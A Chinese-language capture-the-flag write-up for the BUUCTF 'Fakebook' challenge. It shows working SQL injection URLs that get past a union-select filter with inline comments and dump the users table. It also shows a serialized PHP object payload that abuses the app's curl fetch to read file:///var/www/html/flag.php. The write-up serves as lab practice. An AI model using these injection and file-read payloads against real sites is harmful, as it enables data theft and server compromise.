BUUCTF——Fakebook 1

BUUCTF——Fakebook 1

进入靶场

有两个功能点

login

测试了一下弱口令和万能密码

没啥用

join

增加个用户试试

居然创建成功了

我还想着admin越权

扫目录发现一个robots.txt

在robots.txt里发现一个user.php.bak的url

拼接下载

<?phpclass UserInfo
{public $name = "";public $age = 0;public $blog = "";public function __construct($name, $age, $blog){$this->name = $name;$this->age = (int)$age;$this->blog = $blog;}function get($url){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output = curl_exec($ch);$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);if($httpCode == 404) {return 404;}curl_close($ch);return $output;}public function getBlogContents (){return $this->get($this->blog);}public function isValidBlog (){$blog = $this->blog;return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);}}

点击进入admin

发现一个no传参

尝试sql注入

http://91559d98-b930-4ef0-845d-6ebfd675414e.node5.buuoj.cn:81/view.php?no=1 and 1=1--+

http://91559d98-b930-4ef0-845d-6ebfd675414e.node5.buuoj.cn:81/view.php?no=1 and 1=2--+

看来有注入点

直接上sqlmap神器看看

很遗憾没梭出来

还是手注吧

http://91559d98-b930-4ef0-845d-6ebfd675414e.node5.buuoj.cn:81/view.php?no=1 order by 5--+

http://91559d98-b930-4ef0-845d-6ebfd675414e.node5.buuoj.cn:81/view.php?no=-1 union select database(),2,3,4--+

坏了，被过滤了

得想想办法绕过

试了好多方法都绕不过去

看了一下其他师傅的文章

原来是过滤了union select

用/**/绕过

http://91559d98-b930-4ef0-845d-6ebfd675414e.node5.buuoj.cn:81/view.php?no=-1%20union/**/select%20database(),2,3,4--+

在第二列

爆库

http://91559d98-b930-4ef0-845d-6ebfd675414e.node5.buuoj.cn:81/view.php?no=-1%20union/**/select%201,database(),3,4--+

爆表

http://91559d98-b930-4ef0-845d-6ebfd675414e.node5.buuoj.cn:81/view.php?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() 

继续

爆列

http://91559d98-b930-4ef0-845d-6ebfd675414e.node5.buuoj.cn:81/view.php?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='users'

爆字段

http://91559d98-b930-4ef0-845d-6ebfd675414e.node5.buuoj.cn:81/view.php?no=-1 union/**/select 1,group_concat(no,username,passwd,data),3,4 from users

根据之前下载的代码发现可能存在ssrf漏洞

http://91559d98-b930-4ef0-845d-6ebfd675414e.node5.buuoj.cn:81/view.php?no=-1%20union/**/select%201,2,3,%27O:8:%22UserInfo%22:3:{s:4:%22name%22;s:3:%22123%22;s:3:%22age%22;i:123;s:4:%22blog%22;s:29:%22file:///var/www/html/flag.php%22;}%27

查看源代码

拿到flag

flag{c016e06b-12fb-4b33-80f9-84888834e1bc}

下播！